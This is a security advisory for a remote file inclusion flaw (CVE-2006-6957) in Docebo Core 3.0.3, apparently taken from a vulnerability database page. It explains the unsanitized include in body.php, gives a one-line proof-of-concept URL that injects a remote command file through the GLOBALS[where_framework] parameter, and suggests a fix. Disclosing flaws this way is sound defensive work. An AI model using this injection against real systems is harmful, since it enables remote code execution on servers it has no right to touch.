Docebo Core 3.0.3, Remote command execution

2007.01.30

Credit: Federico Fazzi

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2006-6957

CWE: CWE-94

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

-----------------------------------------------------
Advisory id: FSA:008

Author:    Federico Fazzi
Date:	   09/06/2006, 6:44
Sinthesis: Docebo Core 3.0.3, Remote command execution
Type:	   high
Product:   http://www.docebolms.org/
Patch:	   unavailable
-----------------------------------------------------

1) Description:

Error occured in body.php,

include_once($GLOBALS['where_framework']."/lib/lib.upload.php");

The users can include a remote file because
the $GLOBALS['where_framework'] isn't sanitized

2) Proof of concept:

http://example/[dc_path]/addons/mod_media/body.php?GLOBALS[where_framework]=[cmd_url]

3) Solution:

include file where are declare $GLOBALS[*]

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Docebo Core 3.0.3, Remote command execution

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.